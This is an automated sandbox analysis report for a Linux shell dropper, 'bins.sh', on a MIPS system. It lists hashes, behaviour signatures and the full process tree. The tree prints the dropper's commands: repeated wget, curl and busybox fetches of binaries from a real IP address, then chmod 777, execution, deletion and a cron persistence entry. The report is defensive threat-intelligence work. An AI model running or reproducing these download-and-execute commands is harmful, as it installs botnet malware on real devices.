Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 10:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    dbbbfb2de892410f6016324f5c72c881

  • SHA1

    24f8818e5bf61c88bd7c47818ce2ab9a3de68f94

  • SHA256

    0de635c2e545ff9866cce84becebf513f8c7b2276e78fb2eda6f39f1d7149e49

  • SHA512

    a1ae894484d24a377e5ad84885c8758aaced9b067f64e0591f4892716e4bd844605aed37cf7e8f67c94b89889cc18e66e63439ea7095334710c9886efa901016

  • SSDEEP

    192:GcUjeSO0HQTDiswV1VZcIigJS25QQQcPTYJS25QQVPTYXwJHITDiswVbcUjeSJj:1NTDiJV1VqbgycPTY3PTYA+TDiJVb

Malware Config

Signatures

  • Contacts a large (1572) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://87.120.84.230/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://87.120.84.230/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Executes dropped EXE
            PID:742
          • /bin/rm
            rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://87.120.84.230/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:745
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:746
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:755
            • /bin/chmod
              chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Executes dropped EXE
              PID:761
            • /bin/rm
              rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://87.120.84.230/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:775
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:787
              • /bin/chmod
                chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • File and Directory Permissions Modification
                PID:795
              • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /bin/chmod
                  chmod 777 lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • File and Directory Permissions Modification
                  PID:807
                • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  ./lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Executes dropped EXE
                  PID:808
                • /bin/rm
                  rm lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                    PID:810
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Writes file to tmp directory
                    PID:813
                  • /bin/chmod
                    chmod 777 zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:815
                  • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    ./zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Executes dropped EXE
                    PID:816
                  • /bin/rm
                    rm zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                      PID:820
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Writes file to tmp directory
                      PID:821
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Writes file to tmp directory
                      PID:833
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Writes file to tmp directory
                      PID:845
                    • /bin/chmod
                      chmod 777 LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • File and Directory Permissions Modification
                      PID:851
                    • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      ./LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Executes dropped EXE
                      PID:852
                    • /bin/rm
                      rm LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                        PID:857
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:859
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Writes file to tmp directory
                        PID:860
                      • /bin/chmod
                        chmod 777 Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • File and Directory Permissions Modification
                        PID:861
                      • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        ./Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Executes dropped EXE
                        PID:862
                      • /bin/rm
                        rm Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                          PID:864
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Writes file to tmp directory
                          PID:865
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:866
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Writes file to tmp directory
                          PID:867
                        • /bin/chmod
                          chmod 777 r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • File and Directory Permissions Modification
                          PID:868
                        • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          ./r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:869
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:871
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:872
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:873
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:874
                              • /bin/rm
                                rm r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                2⤵
                                  PID:876
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                  2⤵
                                    PID:879

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /var/spool/cron/crontabs/tmp.VbuTnQ

                                  Filesize

                                  210B

                                  MD5

                                  f76f905424542e50baac9b2d8dcc2346

                                  SHA1

                                  462ac9c8ab4be0ab03608504f8ba352a5fbd57d8

                                  SHA256

                                  fe6b499fd1c98e43858c4f77e761c3a8ca95576b4bfdebeb59ba4fe02e50f83a

                                  SHA512

                                  e841f80e5f426528ed9a15db946b5a9189f76afc967e0c621a61ff1fbd0896e348993a097c06be6c416b45ae3cd479a96cb9fbaebeebe5e990a9f8be37028bec